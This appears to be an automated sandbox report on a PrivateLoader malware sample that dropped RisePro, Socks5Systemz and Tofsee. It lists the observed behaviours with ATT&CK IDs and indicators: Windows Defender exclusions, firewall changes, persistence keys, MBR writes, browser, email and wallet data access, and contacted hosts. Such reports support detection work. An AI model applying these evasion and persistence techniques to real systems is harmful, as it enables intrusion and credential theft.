privateloader | 0e1dc7a84177af8d5ce9df7049e6fbd7ee7c4acf65e4e882383baa343700a85b

Windows Service

T1543.003

Processes:

setup.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	setup.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
Socks5Systemz
Socks5Systemz is a botnet written in C++.
botnet socks5systemz
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee

Windows security bypass 2 TTPs 41 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vZXYUjRGERiGC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jgefCrdckMUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jbywMxbyABuU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\TGSqLNfOU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jbywMxbyABuU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\jLjeNaiUMFXhhNbk = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LarsEiwmjwuUJnPlqwR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\WaFDGFyKTXBJSmLcQ = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vZXYUjRGERiGC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\tvOexZGeSXRtrQVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\jLjeNaiUMFXhhNbk = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\TGSqLNfOU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LarsEiwmjwuUJnPlqwR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\jLjeNaiUMFXhhNbk = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jgefCrdckMUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\tvOexZGeSXRtrQVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\jLjeNaiUMFXhhNbk = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\SysWOW64\vmffvbwj = "0"	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\WaFDGFyKTXBJSmLcQ = "0"	reg.exe

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

215 2684 rundll32.exe

flow	pid	process
215	2684	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exepowershell.exe

pid	process
1564	powershell.exe
2964	powershell.exe
2712	powershell.exe
1524	powershell.exe
1660	powershell.exe
2532	powershell.exe
2616	powershell.exe
3032	powershell.exe
2548	powershell.EXE
2112	powershell.exe
2176	powershell.exe
2176	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

3060 netsh.exe

pid	process
3060	netsh.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

svchost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\vmffvbwj\ImagePath = "C:\\Windows\\SysWOW64\\vmffvbwj\\hkdooxyy.exe"	svchost.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

setup.exefw6AeST27Bm2vlk0DxSBSQX2.exeaj2A10.exePwhrnod.exehVUcgSG.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Control Panel\International\Geo\Nation	setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Control Panel\International\Geo\Nation	fw6AeST27Bm2vlk0DxSBSQX2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Control Panel\International\Geo\Nation	aj2A10.exe
Key value queried	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Control Panel\International\Geo\Nation	Pwhrnod.exe
Key value queried	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Control Panel\International\Geo\Nation	hVUcgSG.exe

Executes dropped EXE 25 IoCs

Processes:

setup.exesetup.exeHZCRf2RVpwaPOKWoRBM82pMK.exejNFCat12JprTAJuHReQN2XR8.exe2Bieq5wNDNkAsJ0rFBlk_AlN.exePus3tCSrefwVPztCKhp87ihX.exef2hEJNjebYbdDHdjR8ZZyQ9Q.exeQsEZf7p3mqmJQ7IoFER23P5U.exefw6AeST27Bm2vlk0DxSBSQX2.exeDH8573Md6ciWRCrzNsLgNn0N.exeDH8573Md6ciWRCrzNsLgNn0N.tmpInstall.exeInstall.exeaj2A10.exesvomediaplayer32.exebkqtzupkspiy.exesvomediaplayer32.exehkdooxyy.exealRnUJb.exeDBKKFHIEGD.exeBFHJECAAAF.exePwhrnod.exealRnUJb.exehVUcgSG.exe

pid	process
2808	setup.exe
956	setup.exe
3052	HZCRf2RVpwaPOKWoRBM82pMK.exe
2272	jNFCat12JprTAJuHReQN2XR8.exe
2176	2Bieq5wNDNkAsJ0rFBlk_AlN.exe
2168	Pus3tCSrefwVPztCKhp87ihX.exe
1716	f2hEJNjebYbdDHdjR8ZZyQ9Q.exe
2976	QsEZf7p3mqmJQ7IoFER23P5U.exe
676	fw6AeST27Bm2vlk0DxSBSQX2.exe
848	DH8573Md6ciWRCrzNsLgNn0N.exe
1036	DH8573Md6ciWRCrzNsLgNn0N.tmp
2868	Install.exe
592	Install.exe
1960	aj2A10.exe
1548	svomediaplayer32.exe
460
1464	bkqtzupkspiy.exe
2364	svomediaplayer32.exe
1532	hkdooxyy.exe
640	alRnUJb.exe
2688	DBKKFHIEGD.exe
700	BFHJECAAAF.exe
1548	Pwhrnod.exe
2784	alRnUJb.exe
1272	hVUcgSG.exe

Loads dropped DLL 64 IoCs

Processes:

taskmgr.exesetup.exeHZCRf2RVpwaPOKWoRBM82pMK.exeDH8573Md6ciWRCrzNsLgNn0N.exeDH8573Md6ciWRCrzNsLgNn0N.tmpfw6AeST27Bm2vlk0DxSBSQX2.exeInstall.exeInstall.exeaj2A10.exeMSBuild.exeWerFault.exe

pid	process
1188
1188
1188
1188
1188
1188
1188
1188
1188
1188
1188
1188
1188
1736	taskmgr.exe
1736	taskmgr.exe
1188
1736	taskmgr.exe
1736	taskmgr.exe
2808	setup.exe
2808	setup.exe
3052	HZCRf2RVpwaPOKWoRBM82pMK.exe
3052	HZCRf2RVpwaPOKWoRBM82pMK.exe
3052	HZCRf2RVpwaPOKWoRBM82pMK.exe
1736	taskmgr.exe
1736	taskmgr.exe
848	DH8573Md6ciWRCrzNsLgNn0N.exe
1036	DH8573Md6ciWRCrzNsLgNn0N.tmp
1036	DH8573Md6ciWRCrzNsLgNn0N.tmp
1036	DH8573Md6ciWRCrzNsLgNn0N.tmp
1036	DH8573Md6ciWRCrzNsLgNn0N.tmp
676	fw6AeST27Bm2vlk0DxSBSQX2.exe
676	fw6AeST27Bm2vlk0DxSBSQX2.exe
3052	HZCRf2RVpwaPOKWoRBM82pMK.exe
676	fw6AeST27Bm2vlk0DxSBSQX2.exe
2868	Install.exe
2868	Install.exe
2868	Install.exe
676	fw6AeST27Bm2vlk0DxSBSQX2.exe
676	fw6AeST27Bm2vlk0DxSBSQX2.exe
676	fw6AeST27Bm2vlk0DxSBSQX2.exe
2868	Install.exe
592	Install.exe
592	Install.exe
592	Install.exe
676	fw6AeST27Bm2vlk0DxSBSQX2.exe
1960	aj2A10.exe
1960	aj2A10.exe
1960	aj2A10.exe
1960	aj2A10.exe
1960	aj2A10.exe
1960	aj2A10.exe
1960	aj2A10.exe
1036	DH8573Md6ciWRCrzNsLgNn0N.tmp
460
1736	taskmgr.exe
1736	taskmgr.exe
1088	MSBuild.exe
1088	MSBuild.exe
1088	MSBuild.exe
1956	WerFault.exe
1956	WerFault.exe
1956	WerFault.exe
1088	MSBuild.exe
1088	MSBuild.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.

Processes:

description ioc

Destination IP 141.98.234.31

description	ioc
Destination IP	141.98.234.31

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

jNFCat12JprTAJuHReQN2XR8.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jNFCat12JprTAJuHReQN2XR8.exe
Key opened	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jNFCat12JprTAJuHReQN2XR8.exe
Key opened	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jNFCat12JprTAJuHReQN2XR8.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

jNFCat12JprTAJuHReQN2XR8.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows\CurrentVersion\Run\RageMP131 = "C:\\Users\\Admin\\AppData\\Local\\RageMP131\\RageMP131.exe"	jNFCat12JprTAJuHReQN2XR8.exe

Checks for any installed AV software in registry 1 TTPs 4 IoCs

Security Software Discovery

T1518.001

Processes:

fw6AeST27Bm2vlk0DxSBSQX2.exeaj2A10.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast	fw6AeST27Bm2vlk0DxSBSQX2.exe
Key opened	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\SOFTWARE\AVAST Software\Avast	fw6AeST27Bm2vlk0DxSBSQX2.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast	aj2A10.exe
Key opened	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\SOFTWARE\AVAST Software\Avast	aj2A10.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 3 IoCs

Processes:

Pwhrnod.exehVUcgSG.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	Pwhrnod.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	Pwhrnod.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	hVUcgSG.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

83 iplogger.org
84 iplogger.org
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

5 api.myip.com
6 api.myip.com
11 ipinfo.io
12 ipinfo.io
92 ipinfo.io
94 ipinfo.io

flow	ioc
83	iplogger.org
84	iplogger.org

flow	ioc
5	api.myip.com
6	api.myip.com
11	ipinfo.io
12	ipinfo.io
92	ipinfo.io
94	ipinfo.io

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

Processes:

f2hEJNjebYbdDHdjR8ZZyQ9Q.exeaj2A10.exe

description	ioc	process
File opened for modification	\??\PHYSICALDRIVE0	f2hEJNjebYbdDHdjR8ZZyQ9Q.exe
File opened for modification	\??\PhysicalDrive0	aj2A10.exe

Drops file in System32 directory 35 IoCs

Processes:

setup.exepowershell.exepowershell.exepowershell.exehVUcgSG.exepowershell.exesvchost.exealRnUJb.exepowershell.exePwhrnod.exepowershell.exepowershell.exerundll32.exepowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\GroupPolicy	setup.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	hVUcgSG.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile:.repos	svchost.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	alRnUJb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile:.repos	svchost.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	Pwhrnod.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_0E84AD23AC2E74B30DEF739614C7EB94	Pwhrnod.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_0E84AD23AC2E74B30DEF739614C7EB94	Pwhrnod.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_89FBEB9EEBFF8AABF1EBFA20B87AFE7E	Pwhrnod.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_89FBEB9EEBFF8AABF1EBFA20B87AFE7E	Pwhrnod.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	setup.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	Pwhrnod.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_95776108E5303B05527E9B63C6628F47	Pwhrnod.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	setup.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	Pwhrnod.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	Pwhrnod.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Pwhrnod.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	hVUcgSG.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	setup.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	alRnUJb.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	Pwhrnod.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_95776108E5303B05527E9B63C6628F47	Pwhrnod.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

jNFCat12JprTAJuHReQN2XR8.exe

pid	process
2272	jNFCat12JprTAJuHReQN2XR8.exe
2272	jNFCat12JprTAJuHReQN2XR8.exe
2272	jNFCat12JprTAJuHReQN2XR8.exe
2272	jNFCat12JprTAJuHReQN2XR8.exe
2272	jNFCat12JprTAJuHReQN2XR8.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

bkqtzupkspiy.exeQsEZf7p3mqmJQ7IoFER23P5U.exehkdooxyy.exe

description	pid	process	target process
PID 1464 set thread context of 1104	1464	bkqtzupkspiy.exe	conhost.exe
PID 1464 set thread context of 3020	1464	bkqtzupkspiy.exe	svchost.exe
PID 2976 set thread context of 1088	2976	QsEZf7p3mqmJQ7IoFER23P5U.exe	MSBuild.exe
PID 1532 set thread context of 2924	1532	hkdooxyy.exe	svchost.exe

Drops file in Program Files directory 24 IoCs

Processes:

Pwhrnod.exehVUcgSG.exe

description	ioc	process
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	Pwhrnod.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	Pwhrnod.exe
File created	C:\Program Files (x86)\TGSqLNfOU\mLutPpa.xml	Pwhrnod.exe
File created	C:\Program Files (x86)\TGSqLNfOU\fojvEjJ.xml	hVUcgSG.exe
File created	C:\Program Files (x86)\vZXYUjRGERiGC\LqbEsou.xml	Pwhrnod.exe
File created	C:\Program Files (x86)\jgefCrdckMUn\BDCiTWp.dll	Pwhrnod.exe
File created	C:\Program Files (x86)\LarsEiwmjwuUJnPlqwR\FMnGMxT.dll	hVUcgSG.exe
File created	C:\Program Files (x86)\vZXYUjRGERiGC\uxeimXa.xml	hVUcgSG.exe
File created	C:\Program Files (x86)\TGSqLNfOU\NDYUDM.dll	Pwhrnod.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	Pwhrnod.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	Pwhrnod.exe
File created	C:\Program Files (x86)\jbywMxbyABuU2\yldDABG.xml	Pwhrnod.exe
File created	C:\Program Files (x86)\LarsEiwmjwuUJnPlqwR\oOEgyeT.xml	Pwhrnod.exe
File created	C:\Program Files (x86)\vZXYUjRGERiGC\fZSTmyp.dll	Pwhrnod.exe
File created	C:\Program Files (x86)\jbywMxbyABuU2\ULzMSFLzdmVBB.dll	hVUcgSG.exe
File created	C:\Program Files (x86)\vZXYUjRGERiGC\uPRYhJX.dll	hVUcgSG.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	hVUcgSG.exe
File created	C:\Program Files (x86)\jbywMxbyABuU2\eYEkLFX.xml	hVUcgSG.exe
File created	C:\Program Files (x86)\LarsEiwmjwuUJnPlqwR\cSuranC.xml	hVUcgSG.exe
File created	C:\Program Files (x86)\TGSqLNfOU\LMFzmB.dll	hVUcgSG.exe
File created	C:\Program Files (x86)\jbywMxbyABuU2\ENSDNYJUUDyMN.dll	Pwhrnod.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	hVUcgSG.exe
File created	C:\Program Files (x86)\LarsEiwmjwuUJnPlqwR\WxLWWEL.dll	Pwhrnod.exe
File created	C:\Program Files (x86)\jgefCrdckMUn\CZncWNZ.dll	hVUcgSG.exe

Drops file in Windows directory 6 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\WEqRGXvoovdTvsnPk.job	schtasks.exe
File created	C:\Windows\Tasks\bKPbLIPtdWjYWtgKbM.job	schtasks.exe
File created	C:\Windows\Tasks\LyeaCXeAXIXykqmfO.job	schtasks.exe
File created	C:\Windows\Tasks\rkutRMUCKyfxaPV.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\LyeaCXeAXIXykqmfO.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\rkutRMUCKyfxaPV.job	schtasks.exe

Launches sc.exe 7 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2408 sc.exe
2052 sc.exe
2092 sc.exe
612 sc.exe
2480 sc.exe
1768 sc.exe
1568 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2408	sc.exe
2052	sc.exe
2092	sc.exe
612	sc.exe
2480	sc.exe
1768	sc.exe
1568	sc.exe

Program crash 7 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1956	2688	WerFault.exe	DBKKFHIEGD.exe
2504	700	WerFault.exe	BFHJECAAAF.exe
836	640	WerFault.exe	alRnUJb.exe
3008	2784	WerFault.exe	alRnUJb.exe
2500	592	WerFault.exe	Install.exe
1184	1548	WerFault.exe	Pwhrnod.exe
2164	1272	WerFault.exe	hVUcgSG.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

jNFCat12JprTAJuHReQN2XR8.exeMSBuild.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	jNFCat12JprTAJuHReQN2XR8.exe
